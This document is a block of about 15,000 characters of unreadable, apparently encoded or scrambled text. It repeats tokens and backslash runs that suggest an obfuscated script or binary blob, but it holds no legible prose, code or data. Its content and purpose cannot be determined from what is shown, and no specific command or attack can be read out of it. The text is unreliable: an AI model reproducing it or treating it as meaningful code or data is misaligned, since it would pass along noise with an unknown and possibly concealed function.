JLOKTUGv\\
KI
NTUGv\JHMTUGv#KJL#TUGv\\\	IL#OH#HOTUGv\\\\
I#KKOTUGvv\\T
	#KM
TUU\\\XD	ANHWEKGXH	JNAXD	QOKGv\\\\T#JO
THEMUTE#
NMNMTHEJUU\ZZ\#TLLIN	THIDUUU\\\v\\\\T#JO
THEKUTLLIN	TMIHUUU\#JO
TMIHUTE#
NMNMTHNDUUGv\\\\\\v
DTLLIN	THIDUP\#JO
THEDUP\LUGvvSS\<Q\Qvv\\\\\v\\\\\\\T(\\\XKU\\\\\vSS\<\Qvv\\\\\\\T9\\\XKU\vSS\+,\4\3\?F\\vv\\\\\\\\v\v\\\\\\\	\\\\\#JEHJITUv\v\\\\\\\\\\v\\\\T]
JNTHEKUT#JO
THOLUU\\\\\  \\\\]#JO
THEKUT
JNTHEEUUU\\	Gvvvv\\\\T]#JO
THEKUTLLIN	TODIUU\\  \\]LLIN	THEKUTLLIN	TOJDUUU\\\	Gv\\X	KIHHN\\\A\\\
JNTHDOUTUGv\\\TX	KIHHN\\Q\TU\\<#TE#
NMNMTILLUP\\LU\\\@\\TOIHNWIDUU\\	Gv\<	#T
JNTILLUP\\\\X	KIHHNP\\LLIN	THEHUUGv\\<
JNTHOLUT#	T[S[UP\\T
JNTOMLU\\\\\AB\\\\NP\\
JNTOMMU\\AB\\P\\\LLIN	THONU\\AB\\\\\UUGv\\\\\\\T(\\XKU\v\\\\\\\\\\T9\\\\XKU\\vvv\vv\\\\v\\\\	\
	#KM
TUv\\v\\\\\T]\\\E#
NMNMTHEKUTLLIN	TODIUUU\\vvvv\	\\\\\	Gvvv\\\\vvv\\\\v\\\TE#
NMNMTHEKUTLLIN	TILMUU\\\\ZZ\\#TKHDNHEDTUUU\v\\	\\\\Gvvvvv\vXNK\\A\##M	#MMTUGv\\\\XDMD\\\A\\
MEIEJJMT
JNTILNUP\\\\UGv\\vv\\\\TLLIN	THJMUTXDMDU\\\ZZ\\TXDMD'E#
NMNMTILOU!U\\ZZ\TU\\\XDMD'LLIN	TILHU!\BA\THEOQMEOU\\\\ZZ\\TU\\XDMD'LLIN	TILHU!\@A\\TMMMDONQNIHONUU\\XNK\A\\\\\TU\XDMD'LLIN	TILHU!Gv\\\\\XLKMK\\A\TU\\#TLLIN	THHKUP\LUGv\\\\\TXLKMK\\\\B\L\\\\ZZ\\TLLIN	THDOUTU\Q\\XLKMKU\\@\XNKU\\\v	\\\\\\Gv\vv\XH
LIE\\A\TU\#T
JNTILIUP\\LUGv\\\\\\TXH
LIE\\\B\\\\LU\vSS\+,\,\=	F\\	vv\XHK\A\\\\\TU\#T#JO
TILJUP\\\\LUGvXK#OD\A\\\TTLHOWLEUP\TDDDWMNUP\TMKOHWJJUP\\\\TNJNIWEKIUP\\\\\TOIONWJDUUGv\\\X
JHJ\A\\XK#OD'LLIN	TILKUTLP\E#
NMNMTILDUTXHK\\\\\\Q\\MP\TNHK"NHOUUU!Gv\\\\\\\\X
JHJ\\\WA\#JO
THNIUTLP\TU\\\\\TX
JHJ\\\V\LRNIUUGv\\\\\\TT
JNTHDOUTU\\Q\\\\\XH
LIEU\@\X
JHJU\\\\\\v\\	\\Gv\\\\v\\\\\vvv\\v\\\\	\	Gvv\vvvv\\\\\\\	\\OOKTUvv\v\XHK\A\\TU\\#TLLIN	TILJUP\\LUGvv\	#TLLIN	TILJUP\\\\\XHK\W\\\\MUGv\	#TLLIN	TILIUP\\E#
NMNMTHDOUTUUGvvvv\\\\v	\\\L	J#NDEKEJOTUv\vXHELI
\\A\\\\TUGv\\v\\XHELI
'
JNTILEU!\\\A\E#NDNTUGvXHELI
'LLIN	TIMLU!\\A\\\,4,#*9./532Gv\\\XHELI
'
JNTIMMU!\\\\A\\
JNTENUTUGvXHELI
'
JNTIMNU!\A\\\TLLIN	TIMOUT#JO
TIMHUU\\\ZZ\\\#TUU\C\\\\\M\\F\\\LGv\\\\XHELI
'
JNTIMIU!\\A\\TLLIN	TIMOUT#JO
TIMJUU\\\ZZ\\\#	TUU\\\\\C\\\M\\\\\F\LGv\\\\\\XHELI
'
JNTIMKU!\\\A\TX;03>=0/'
JNTIMDU!U\\C\\TU\\\\\\X;03>=0/'
JNTIMDU!\\\F\\\\\\^^GvvvvXHELI
'LLIN	TIMEU!\\\A\\TX#/9.*9.'
JNTEIU!U\C\\\\\
JNTOENUTTU\X#/9.*9.'LLIN	TEIU!P\\LP\\\TNL@@MUU\F\\\^^GvvvXJELO\A\\\\TTX;03>=0/'#JO
THJDU!U\\\ZZ\\\\E#
NMNMTHDMUTX;03>=0/'E#
NMNMTINLU!UU\\C\\\E#
NMNMTOHMUTX;03>=0/'E#
NMNMTINLU!U\\F\\^^Gv\\XHELI
'LLIN	TINMU!\\\\\\A\\\\\TXJELO\\\]AA\^^U\\\C\\\\M\F\\\\\LGvSS\<	\vv\\\\\\\XHELI
'LLIN	TINNU!\A\#JO
TINOUTXJELOUGvXHELI
'E#
NMNMTINHU!\\A\\]TX;03>=0/'LLIN	TINIU!U\\\\\C\\\\\\M\\F\\LGv\\\\\XHELI
'E#
NMNMTINJU!\A\\]TX;03>=0/'#JO
TINKU!U\\\\C\M\F\LGv\\XHELI
'LLIN	TINDU!\\\A\#JO
TIMOUTLLIN	TINEUU\\C\\TU\\\\<#T#JO
TIOLUP\\\\\LU\F\LGv\\XHELI
'LLIN	TOEJU!\\\A\\\TD#M	NHONTLLIN	TIOMUP\^^U\\]AA\\\\\^^U\C\M\F\\\\\LGv\\\\XHELI
'
JNTIONU!\A\\E#
NMNMTIMOUTE#
NMNMTINEUU\\\C\\\TU\\\\\<#TLLIN	TIOOUP\\\LU\F\\\\\\LGv\XHELI
'#JO
TIOHU!\A\\LLIN	TIOIUT
JNTINEUU\\C\\\\TU\<#TLLIN	TIOJUP\\\LU\\F\\\LGXHHANJVIGXKHLAXHHQMOGvXHELI
'#JO
TIOKU!\\A\E#
NMNMTIOIUTE#
NMNMTINEUU\\C\\TU\\<#TE#
NMNMTIODUP\\\\LU\F\\LGv\X
JIM\\\\A\\NOLJJTUGv\\\\\\XHELI
'LLIN	TIOEU!\\\A\\\\\<
JNTIHLUTX
JIM\\\R\E#
NMNMTIHMUU\\C\\\\\\T
M	JDDT<E#
NMNMTIHNUTX
JIM\\\\\\R\\\\LLIN	TIHMUP\\\\\\P\\\\	P\\\\\LP\\\TJIKLWMJNNUUU\\\C\\\N\\F\MU\\\\F\\LGv\XHELI
'LLIN	TIHOU!\\\\\\A\\<
JNTIHLUTX
JIM\\R\#JO
TIHHUU\C\\\T
M	JDDT<E#
NMNMTIHNUTX
JIM\R\#JO
TIHHUP\\P\\\\	P\\\\\LP\\TDLDWKODHUUU\C\\\\N\\\F\\\\MU\\\\\F\\LGv\vvvvXHELI
'
JNTIHIU!\A\\\\<LLIN	TIHLUTX
JIM\R\\E#
NMNMTIHJUU\C\\\\\T
M	JDDT<E#
NMNMTIHKUTX
JIM\\\R\\\
JNTIHJUP\\P\\\\\	P\\\LP\\\\TDMLKWDIUUU\\C\\\\\N\\\\\F\\MU\\F\\\LGvXLHJ\\A\\E#
NMNMTIHDU\R\ENMIT=>/,=(4\R\\[[P\\\TLHWLHUUGv\\\XL\\A\\
JNTIHEU\\R\\ENMIT=>/,=(4\R\\[[P\\TEE"MLKUUGv\XHELI
'E#
NMNMTIILU!\\\\\\A\\\\\LGv\\\\\\\\\TTINELTUP\\X
JIMP\\\\=>/,=(4\R\\LLIN	TIIMUU\\\\\\\XDKU\\vSS\<\vv\\\\\\\\T<E#
NMNMTIHLUTXDK\\R\\\\\[S[\\\R\XLHJ\R\\\#JO
TIINUUU\XHELI
'E#
NMNMTIIOU!\A\\MGv\\\T<#JO
TIHLUTXDK\\R\\[S[\\R\\\XLU\ZZ\\TU\\\\<#JO
TKEUTXDK\\R\\[S[\\\\\\R\\\\\XLU\\B\\E#
NMNMTIIHUTU\\Q\\\TO"NHOUU\v\\XHELI
'LLIN	TIIOU!\A\NGvv\\\\\Gv\\\\\\\v\v\\	TXLP\\\\\XDKUGv\\\\XDHHL\\\A\#JO
TIOIUT
JNTEJUU\\\C\<#JO
TEJUTE#
NMNMTIIIUU\\\F\\Gv\\\\\\\T]
JNTIIJUTXDHHLU\\  \\\\\XDHHL\\AAA\\\\\^^\\\\  \XDHHL\AAA\\
JNTIIKUU\\\\\XDHHL\A\\\#JO
TIIDUGv\\\XHELI
'#JO
TIIEU!\A\\\\\T<#JO
TIHLUT=>/,=(4\R\\\\\\XDHHLU\\ZZ\\\E#
NMNMTIJLUTTU\\\\<LLIN	TIHKUT=>/,=(4\R\\XDHHLUP\#JO
TIJMUU\]AA\\\\\U\\C\M\\\F\\LGv\\XHELI
'LLIN	TIJNU!\A\\T<LLIN	TIJOUT=>/,=(4\\\R\#JO
TIJHUU\\\ZZ\#JO
TIJLUTTU\\\<LLIN	TIHKUT=>/,=(4\\\\\\R\\\LLIN	TIJHUUP\\LLIN	TIJIUU\]AA\\\U\\C\M\\F\\LGvXHELI
'E#
NMNMTIJJU!\\\\\A\\\\T<
JNTIJOUT=>/,=(4\\R\\\
JNTIJKUU\\\\\\ZZ\\\LLIN	TIJDUTTU\\<#JO
TIHKUT=>/,=(4\\R\\LLIN	TIJEUP\\\P\\\	P\LP\TJIHKOWJOUUP\\E#
NMNMTIKLUU\\]AA\\\U\\C\\M\\\F\\\\LGv\XHELI
'#JO
TIKMU!\\A\\\\T
JNTIKNUU\\C\\M\\\\F\\LGvXHELI
'#JO
TIKOU!\\\\A\\\\\TT#JO
TIKHUU\\  \\\T#JO
TIKIUU\\  \\\\TLLIN	TIKJUU\  \\LLIN	TIOIUTLLIN	TIKKUU\\\\  \\
JNTIKDUTLLIN	TIKEUU\  \\TX;03>=0/'LLIN	TIDLU!U\  \\\\\
JNTIDMUTE#
NMNMTIDNUUU\\\C\\\M\\F\\LGvXHELI
'E#
NMNMTIDOU!\\A\\\\\TU\#T#JO
THHKUP\\\LUGv\XHELI
'#JO
TIDHU!\\\A\TU\\\\#TLLIN	TILJUP\\\LUGvvv\XHELI
'E#
NMNMTIDIU!\\\A\\\TU\\\\#T#JO
TIDJUP\LUGvvv\\\\\\XJ#MHM	\A\NEDNTE#
NMNMTIDKUP\\\\\TUUGXO	MLA,4,#1=63.#*9./532GX	IEN#AXO	MLVHGv\\\X	
E\\A\\LGv\X#K	\\A\LGv\\\\\\\\\\TE#
NMNMTHJMUTXJ#MHM	UU\\vv\\\\TXJ#MHM	\\\\\\XNDLINU\\\\\v\\TEHDHM#	KNTXNDLINU\\\AAA\\\^^U\\	Gv\\X	
EWWGv\\XEIDI
\\A\E#
NMNMTIDDUTXNDLINU\\\C\\\TU\\\TTXNDLIN'
JNTIDEU!U\\\\C\\XNDLIN'#JO
TIDEU!\\\F\\\\\MU\\F\\MGv\X		ODD
\A\E#
NMNMTIELUTXNDLINU\ZZ\\\\\TXNDLIN'#JO
TIEMU!U\\C\\TU\\XNDLIN'E#
NMNMTIENU!\\F\\LGv\\\\T]XEIDI
\\ZZ\\\\T]X		ODD
\  \\\X		ODD
\\\\@\E#
NMNMTIIHUTU\\Q\\\TMNIKWNOHOUUU\\\\X#K	WWGv\v\\\\\\v\\XHELI
'
JNTIEOU!\\\\\A\\X	
EGvvv\\XHELI
'LLIN	TIEHU!\\A\\X#K	Gv\\\\XIMLM\A\LLIN	TIEIUTE#
NMNMTINEUU\\\\\C\\\\<#TLLIN	TIEJUP\\\\\\^^U\\F\\\^^Gv\\XHELI
'#JO
TIEKU!\\A\\#JO
TIEDUTXIMLMU\C\\#JO
TIEEUTXIMLMP\\\\\LP\\TNWOUU\F\\^^GvXDOENK\\A\LLIN	TJLLUTLLIN	TJLMUU\\C\\\<#T#JO
TJLNUP\\\TUU\\F\\\TUGv\XHELI
'LLIN	TJLOU!\\\A\\TE#
NMNMTIELUTXDOENKU\ZZ\T]TXDOENK'[[!U\\\  \]TXDOENK'
JNTJLHU!UUU\\C\\\M\\F\\LGv\\\\\\T(\\XKU\\\v\\XHELI
'E#
NMNMTJLIU!\\\A\\#JO
TIEEUTXKQB1TUP\\\LP\\\TMMKQIKUUGvvvv\\\\T9\XKU\\v\\\XHELI
'E#
NMNMTJLIU!\\\A\LLIN	TIEEUTXKQB1TUP\\\LP\\TOHWNJUUGvv\\\	\\XHELI
Gv\\\\\\\v\\\\\\v\\\\\\	\\MONDK	I
EHTUv\\\v\\\\\\T
JNTJLJUT#JO
THNEUUU\v\\\\	\\\TU\\\\#	T#JO
TJLKUUGv\\v\	\\\
JNTJLDUTE#
NMNMTJLEUU\\\C\\TU\##	TU\\F\\\\\\^^Gvv\\\\\\v\	\\\KJKLHNETXOIKEUv\\v\XKM	NNN\A\^^Gv\TE#
NMNMTJMLUT#JO
THEEUUU\v\XKM	NNN\\A\\TU\\\\LLIN	TJMMUT#	TUP\\\\\T#JO
TJMNUUUGvvv\\\\\\\\\T]\\\\\XKM	NNN\ZZ\\\
JNTJMOUTE#
NMNMTJMHUUU\\vXKM	NNN\A\TU\\\
JNTJMMUT##	TUP\\\T#JO
TJMNUUUGvvvvv\\\\\T]\\\\\\XKM	NNN\\ZZ\LLIN	TJMOUTE#
NMNMTJMIUUU\\\vXKM	NNN\A\\\TU\#JO
TJMMUT#TE#
NMNMTJMJUUP\\TE#
NMNMTJMNUUUGv\\\\\v\\\\\T]\\\XKM	NNN\ZZ\#JO
TJMKUTLLIN	TJLMUUU\v\XKM	NNN\A\\TU\\LLIN	TJMDUTTU\#TE#
NMNMTJMEUP\\\\^^UP\\TLLIN	TJMNUUUGv\\\\\v\\T]\\\\XKM	NNN\\\\\ZZ\\\\TX#/9.*9.'
JNTJNLU!UU\\v\XKM	NNN\\A\\TU\\X#/9.*9.'
JNTJNMU!Gv\\\v\\\\\\\\T]\XKM	NNN\\\\\ZZ\\TX#/9.*9.'
JNTJNNU!UU\\vvvv\XKM	NNN\\\\A\\TU\\\X#/9.*9.'E#
NMNMTJNOU!Gv\\\v\\\\T]\\\XKM	NNNU\\v\\\\	\\XOIKEGv\v\\\\\\\	\\\XKM	NNNGvvv\\\\	\\\\\		OHKTUv\\\\\\\\vSV\	\\VSvv\\v\XKH\\A\\\#JO
TJNHUTLLIN	TEJUU\\\\C\TU\<
JNTEJUTLLIN	TJNIUU\\\\\F\\LGv\\\TE#
NMNMTJNHUT#JO
TJNJUUU\\<#JO
TJNJUTTJKWMMOUUGv\XO\\A\\TXKH\B\\\TMJWHU\ZZ\\XKH\@\\\TMND"INUU\\\C\\\TXKH\\\Q\TMIQIUU\F\\TTXKH\\B\\L\\\\ZZ\\XKH\\\@A\TLEWLUU\\C\\\TMOQOU\\\\\F\\TOOWIKUUGv\\\T]\\
	#KM
TUU\v\\\	Gv\\\v\T]
EKMLT#JO
THNHUUU\\\\v\	Gvv\\\\vv\\\XMEHOJ\\A\#JO
TJNKUT	UGvX	K#	\\\\A\\\NNHN	MTUGv\\\\Tv\\\\\]\\\#JO
TIELUTX	K#	Uvv\\  \\\\\]\\\\\TX	K#	'E#
NMNMTOKKU!U\\\\  \]\#JO
TIEDUTX	K#	'LLIN	TOKKU!U\\\  \\]\\\X	K#	'
JNTJNDU!vv  \\]\\\\\TX	K#	'
JNTOKNU!U\\\  \\\]\#JO
TIELUTX	K#	'LLIN	TOKNU!U\\\  \\TX	K#	'#JO
TOKNU!Uv\\\\\\\\U\\\\v\OOKTUGvvv\\	Gvv\\\XHHNJE#K\A\X	K#	'#JO
TJNDU!Gvv\\X

#KMJE\A\X	K#	'#JO
TJNEU!Gv\\D#NEKT#JO
TOKOUP\\\XHHNJE#KP\\LLIN	THEHUUGvvX
###N\\\\A\
JNTJOLUTLLIN	TJLMUU\\\\C\\TU\\\\\#T#JO
TJOMUP\\\^^U\F\\^^Gv\\\\\\\\\TX
###N\\\\]AA\^^\ZZ\\\\\LLIN	TMDKUTX
###NP\X

#KMJEP\	UU\v\\\X

#KMJE\\A\\LLIN	TOJOUTLLIN	TNONUTX

#KMJEP\TX
###NUUUGv\\\\\E#
NMNMTJONUTX

#KMJEUGv\\#JO
TOHLUTX

#KMJEP\\\\X
###NUGv\\\\\\\\TE#
NMNMTMOLUTX

#KMJEU\B\\\\MU\v\\\\
JNTJONUTX

#KMJEUGvvvvv\\\v\\\\TTE#
NMNMTJNKUT	U\\\\\\Q\XMEHOJU\\B\\\TU\\\TXO\\\\\V\LRJUU\\\vSS\
Q\vv\\\OOKTUGvvvv\	Gvv\\\\vv\XE	D\\A\\LLL
LNOETUGvvv\

KHJTXE	DUGX#LLKA,4,#52(#1=$S,4,#52(#1=$GXIID
HAX#LLKWMKGv\\\\vX#
LI\A\\TUGvv\\\\T
JNTJOLUT#JO
TJOOUUU\\v\\\\TTU\\#T
JNTNMHUP\\\\\TUU\\\\X#HKDU\\v\\\\\\\TLLIN	TIEDUTX#HKDU\\\\\\ZZ\\X#HKDU\\\\vvvv\\X#
LI'!\A\\\X#HKDGv\v\\\\v\\\\v\\v\\\\\XEE\\\\\A\\\\\TUGXIMJOAOEWKKGX#IAXIMJOQNJGv\\\\\\TT#JO
TJOHUUU\vvv\XJ
\A\\\LLIN	TJOLUTE#
NMNMTOLMUU\C\\\\<
JNTJOIUTE#
NMNMTJOJUT+,1)#,0);52#85.P\\\[S[U\\\R\E#
NMNMTJOKUU\F\\\\\Gv\\TE#
NMNMTIELUTXJ
UU\\v\\\\TXJ
\\\X	
HEILU\vvXEE'!\\\\A\\\\
JNTJODUTX	
HEILUGv\\\\vvv\\v\XLHE
O\A\\\Tvv\\LLIN	TJOEU\\\AB\\\\\KJKLHNET^^UPv\
JNTJHLU\\AB\\\\\\E#NDNTUPvvvv\\\LLIN	TJHMU\\\\\\AB\\\LLIN	TJODUTEIITUP\\#JO
TJHNUUPvLLIN	TJHOU\AB\#JO
TJOJUT=>/,=(4P\\\LLIN	TJHHUUPv\E#
NMNMTJHIU\\\\AB\\\\X#
LIPv\#JO
TJHJU\AB\\XEEPvLLIN	TJHKU\\\AB\\MONDK	I
EHTUPv\\\E#
NMNMTJHDU\AB\LJ#NKKTXE	DUPv#JO
TJHEU\\\AB\##OJ#ENNTXE	DUPvE#
NMNMTJILU\\\\AB\TXD	K#\\A\\NEE#M
K#	IOLTUUPv\\\\\v\UGv\\XK
K	\\\\A\\\E#
NMNMTJIMUTLLIN	TJINUU\C\##TXLHE
OU\\\F\#JO
TJIOUTXLHE
OUGv\X

	OM#\A\\\\LIJDLHTXK
K	P\\XHHNJE#KUGvXEEIJH\\A\\\TLLIN	TOHHU\\AB\\
JNTJIHUUGv\\\XOO
D\A\\	Gv\\\\\\\\OOKTUGvvv\v\\\\TX

#KMJE\\\\XOINLOLU\\v\\\v\\\\\\TTE#
NMNMTJNKUT	U\Q\\XMEHOJU\B\\\XOU\\v\\\\Gv\\vSS\\\vvvvvXOINLOL\\\\\A\\\\E#
NMNMTJIIUTTU\\\\\XOINLOLUGXE
EIHAIMIIGX
HINAXE
EIHYHGv\\\\\\\\T]\XOINLOLU\v\\\	Gv\\\vvv\\\\v\\\\XDHDD\A\\\\XHHNJE#KGv\\\\\\\XMJJO\A\\\
ENNKTXOINLOLP\\\\\\X

	OM#P\XEEIJHP\\\\TLDWLNUP\\\\\	\\\TXEDNLU\\\\	\\TXDHDDU\\\v\XHELI
\\A\\\LIJDLHTXEDNLP\\\XDHDDUGv\\\\T]XHELI
U\\	\\\Gv\\\\\\	\E#
NMNMTIELUT<E#
NMNMTJIJUTE#
NMNMTJIIUTXHELI
UP\	UUGvUGv\\\T]\XMJJOU\\vSV\\\VSvv\\\LHMMJKTLLIN	TJIKUP\\\\\LLIN	TJIDU\\R\XOINLOLUGv\\	Gv\v\\\vX
IKKL\\\\A\LIJDLHTXMJJOP\\\\\XHHNJE#KUGv\\\\\\T]\\\X
IKKLU\vSS\\vv\\\\LHMMJKTE#
NMNMTJIEUP\\\\\E#
NMNMTJJLU\R\\\XOINLOLUGv\\\	Gv\vvv\\XOO
D\\\A\\\\<LLIN	TJJMUT
JNTJJNUTX
IKKLUP\\	UGv\\\T#JO
TIELUTXOO
DUU\\\v\\T#JO
TJIMUT#JO
TOJDUUU\\v\	#T
JNTJJOUP\\\\\\XOINLOLUGv\\\\v\\\\\\\Gv\\\\vv\\\\\\\v\\LHMMJKTE#
NMNMTJIEUP\\\\LLIN	TJJHU\\R\\\\\XOINLOLUGvvvvvv\\\\\\\\\\\T(\\XKU\v\LHMMJKT
JNTJJIUP\XKUGv\\\\	Gv\\\\\\\\\\\\T9\XKU\\v\\\\\\\	GXL#OATLKIWLODUGXKAXL#OYEGv\vv\\\T]\LLIN	TIELUTXOO
DUU\v\XHMKJN\\\A\\\LIJDLHT
JNTJIOUTTv\\\\\\\\#JO
TJOEU\\\\AB\\\KJKLHNET^^UPvLLIN	TJJJU\\\\AB\\\E#NDNTUPv\\\#JO
TJHMU\AB\
JNTJODUTEIITUP\\LLIN	TJHNUUPv\\\\#JO
TJJKU\\\AB\MPv\\\\\\UUP\\\\XHHNJE#KUGv\\X#MKLD\\\\A\
JNTJOJUTTLLIN	TODHUTXHMKJNUP\
JNTJJDUP\\E#
NMNMTJJEUUP\[A[UGvXM
J#L\\A\\\\\LLIN	TJKLUTX#MKLDP\TEMIWHDIUUGv\\\\TX

#KMJE\\\\\\\\XOINLOLU\\\\v\\TT
JNTJNKUT	U\Q\\\\XMEHOJU\\\B\\\XOU\\vGv\v\\XOINLOL\\\A\\\\\E#
NMNMTJJNUTTU\\XOINLOLUGvvv\\\\\\\\TXOINLOL\AAA\\\\^^U\\v\\	Gv\\\\\\\vX\\\A\\ENMITKJKLHNET^^U\R\\\\
JNTJNKUT	UP\TNWJUUGvvvv\X
\\A\\\\\LLIN	TMOLUTXM
J#LUGv\X	
D\A\\TE#
NMNMTIJDUTXOINLOLP\\[C[U\AAA\\\U\\\C\\\\[C[\\\F\\\[Z[Gv\\\\TXEN	J#\A\\\LG\\\\\\XEN	J#\\@\\X
G\XEN	J#WWU\v\\\\TTE#
NMNMTJKMUT	U\Q\\\XMEHOJU\B\\XOU\v\\\Gv\vv\XJO#H\A\\\\\\TXEN	J#\\\\AAA\X
\Q\\MUGv\X	KMO	M	K\\\A\\\\XOINLOL\R\\\\X	
D\R\\\\
JNTJKNU\R\\\X\\\\\R\LLIN	TJKOU\R\\XEN	J#\R\
JNTJKHU\\R\\X
\\\R\#JO
TJKIU\\R\\\XM
J#L'XEN	J#!Gvvvv\\\X	#MLJMI\A\\\
KEEEDTX	KMO	M	KP\\TN@@NUP\\\XJO#H\\\C\\\	\TXEDNLU\	\\\\\\TXHHNJE#KU\v\XHELI
\\\A\LIJDLHTXEDNLP\XHHNJE#KUGv\\\\T]XHELI
U\\	\Gv\\\	\\#JO
TIELUT<
JNTJJMUTE#
NMNMTJJNUTXHELI
UP\\\	UUGvv\\\\F\	UGv\\\\\\TXJO#H\ZZ\\LLIN	TJKJUTX	#MLJMIU\ZZ\X	#MLJMI\]AA\\\^^U\\vX#\\A\\LIJDLHTX	#MLJMIP\XHHNJE#KUGv\XLHJ\\\\A\X#\\\C\\\<#JO
TJJMUT#JO
TJJNUTX#UP\	U\\\\F\\\	GX#DD
MEAKK MHHGXDLMAX#DD
ME"MHJGv\\\TLLIN	TJKKUTXLHJUU\\\v\\XOO
D\\A\\\\XLHJGv\\\\TE#
NMNMTJIMUT
JNTOJDUUU\v\\	#TLLIN	TJJOUP\XOINLOLUGv\\\vvvv\\Gvv\v\\\\v\vvv\\\\\\\\T#JO
TJKDUTXOO
DUU\\v\\Gvv\\vvvv\\\\\\T]\
JNTJKEUTXOO
DUU\\\\vvv	Gv\\\\\v\\\\\\\\\TXD	K#\\\\ZZ\
JNTJIMUTE#
NMNMTJDLUUU\\\\v\\\\\#T	E#LKDT#JO
TJILUUUGv\\\\\\v\\\T]TX;03>=0/'LLIN	TJDMU!U\  \]E#
NMNMTJKEUTX;03>=0/'E#
NMNMTJDMU!UU\\\X;03>=0/'#JO
TJDMU!\\\\\\A\TUGvX;03>=0/'E#
NMNMTJDMU!\\A\\\\LLIN	TJDNUTLLIN	TNONUTX;03>=0/'
JNTJDOU!P\\\XD	K#UUGv\\\\\\\TTXOO
D'
JNTJHMU!U\ZZ\\\E#
NMNMTJKJUTXOO
D'LLIN	TJDHU!UU\\vSS\	\vvHLKM	TXOO
D'#JO
TJDIU!P\TXOO
D'E#
NMNMTJDJU!U\\\ZZ\\\E#
NMNMTJDKUTXOO
D'
JNTJDDU!U\\C\XOO
D'E#
NMNMTJDDU!\\\\\F\^^P\]TXOO
D'#JO
TJDEU!UUGXLNHAMOD MJHGXL		NAXLNH"DNGv\\\v\\\\\\\v\\\\\XOEEKD	\\\\A\GvX#OE		ODHMO\\A\\\TUGvv\\\\\TTXOO
D'E#
NMNMTJELU!U\ZZ\\LLIN	TJKEUTXOO
D'LLIN	TJELU!UU\v\XLK\A\\\TUGv\\v\\\\\TXOO
D'LLIN	TJELU!\\XLOMOEU\v\\\\\T
JNTJDKUTXLOMOEU\\\ZZ\XLOMOE\\\]AA\^^U\v\\\\XLK'!\\A\XLOMOEGvvvv\\\\vvv\\\XK	H	\A\\X;03>=0/'
JNTJEMU!Gvvvv\\\\XLK\\A\\\\\#ITXLKUGv\\\\\\\X;03>=0/'E#
NMNMTJENU!\\A\\\\XLKGv\\\X#OE		ODHMO'#JO
TJELU!\\A\\XLKGv\\\\T]\TE#
NMNMTNONUTXLKP\XK	H	UU\\  \]\T#JO
TNONUTXK	H	P\XLKUUU\\\v\XOEEKD	\A\	Gv\\\\v\\v\v\\\\TTXOO
D'E#
NMNMTHJJU!U\ZZ\LLIN	TJEOUTXOO
D'E#
NMNMTJEHU!UU\\vvv\\\XLK\\\A\\TUGv\\\v\\\\TXOO
D'#JO
TJEHU!\\\\\\\\XLOMOEU\\\vvv\\\\\\\\T#JO
TJDKUTXLOMOEU\ZZ\\XLOMOE\\\\\]AA\\^^U\v\\\\XLK'!\\\\A\XLOMOEGv\\vvv\v\\XK	H	\A\\\\X;03>=0/'E#
NMNMTHJIU!Gv\\XLK\\A\#ITXLKUGvX;03>=0/'#JO
THJIU!\\A\XLKGv\X#OE		ODHMO'
JNTJEHU!\\\\\\A\\XLKGv\\\\\\\\\T]\\\T
JNTNONUTXLKP\XK	H	UU\\\\  \\]\\TE#
NMNMTJEIUTXK	H	P\\\\\XLKUUU\\\\\\vvvv\XOEEKD	\A\\\\	Gv\vv\\\\\\\\\TTXOO
D'LLIN	THJKU!U\ZZ\\
JNTJDKUTXOO
D'E#
NMNMTHJKU!UU\v\\X#ELODK\\\\A\\D#M	NHONT
JNTJEJUP\\^^UGv\X;03>=0/'
JNTJEKU!\\A\XOO
D'LLIN	THJKU!Gv\\X#OE		ODHMO'LLIN	TJEDU!\\\A\XOO
D'
JNTJEDU!Gv\\\\\T
JNTOEOUTXOO
D'E#
NMNMTJEDU!U\]AA\LLIN	TJEEUTX#ELODKUU\\vv\\\\D#NEKTE#
NMNMTKLLUP\\XOO
D'#JO
TJEDU!P\\\#JO
THEHUUGv\J
D#LTUGvv	TX#ELODKUGv\\\\v\\X	ON	\\\A\\\TXOO
D'
JNTOEIU!U\\\\ZZ\\\
JNTKLMUTXOO
D'E#
NMNMTOEIU!U\\C\XOO
D'#JO
TOEIU!\F\\\\\\TUGXEATLNWLNUGXIMNIAXEYDGv\\\TTX	ON	'
JNTHKOU!U\\ZZ\\
JNTKLNUTX	ON	'LLIN	THKOU!UU\v\\\\TE#
NMNMTKLOUTX	ON	'E#
NMNMTHKOU!U\\B\TNNWNDUU\\\\\v\X;03>=0/'
JNTKLHU!\\\\\A\X	ON	'#JO
THKOU!Gv\\\X#OE		ODHMO'#JO
TKLIU!\\\A\\X	ON	'
JNTKLJU!Gv\\\\\\\\\\\v\\\\\\X;03>=0/'#JO
TKLHU!\A\\^^Gv\\\\X#OE		ODHMO'#JO
TKLJU!\\A\^^Gv\\\\\D#NEKTLLIN	TKLKUP\\\^^P\\\\\#JO
THEHUUGvvvvv\\v\\\\\TTX	ON	'
JNTOEIU!U\\ZZ\\E#
NMNMTKLNUTX	ON	'E#
NMNMTKLDU!UU\v\\T#JO
TKLEUTX	ON	'#JO
TKLDU!U\B\\\\TMDLQDLUU\\X#	A,4,#52(#1=$S,4,#52(#1=$GXDIJ#
AX#	WMMGv\\X;03>=0/'LLIN	THKHU!\\A\\X	ON	'LLIN	TKLDU!Gv\\X#OE		ODHMO'LLIN	TKMLU!\\\\A\\X	ON	'LLIN	TKMLU!Gvvvv\\\\\\\v\\\\\\X;03>=0/'E#
NMNMTHKHU!\\A\\\^^Gvvv\\\X#OE		ODHMO'LLIN	TKMMU!\\A\\^^Gv\D#NEKTE#
NMNMTOEEUP\\^^P\\\\#JO
TKMNUUGv\vv\\vvvv\XKM	\A\\\TXOO
D'
JNTKMOU!U\\ZZ\\\\\#JO
TKLMUTXOO
D'#JO
TKMHU!U\\C\\XOO
D'LLIN	TKMIU!\\\\F\\\\\\TUGv\\XDDDHJ\\\A\Tv\\#JO
TKMJU\\AB\\\\\#JO
TKMJUPvLLIN	TKMKU\\\\AB\\LLIN	TKMDUPv\\\\\\LLIN	TKMEU\\AB\\\\
JNTKNLUPv\\\\\
JNTKNMU\AB\\\LLIN	TKNNUPvv\\\\LLIN	TKNOU\\AB\\#JO
TKNHUPv\\\LLIN	TKNIU\\\\\AB\\LLIN	TKNJUPv
JNTKNKU\\AB\\
JNTKNDUPv#JO
TKNEU\AB\LLIN	TKOLUPv\UGv\\\\\TXDDDHJ\\\\\\XDL
MK\\AB\XLJMNKHU\\v\\\TTXKM	'XDL
MK!U\\ZZ\\\\E#
NMNMTKLNUTXKM	'XDL
MK!U\\\ZZ\
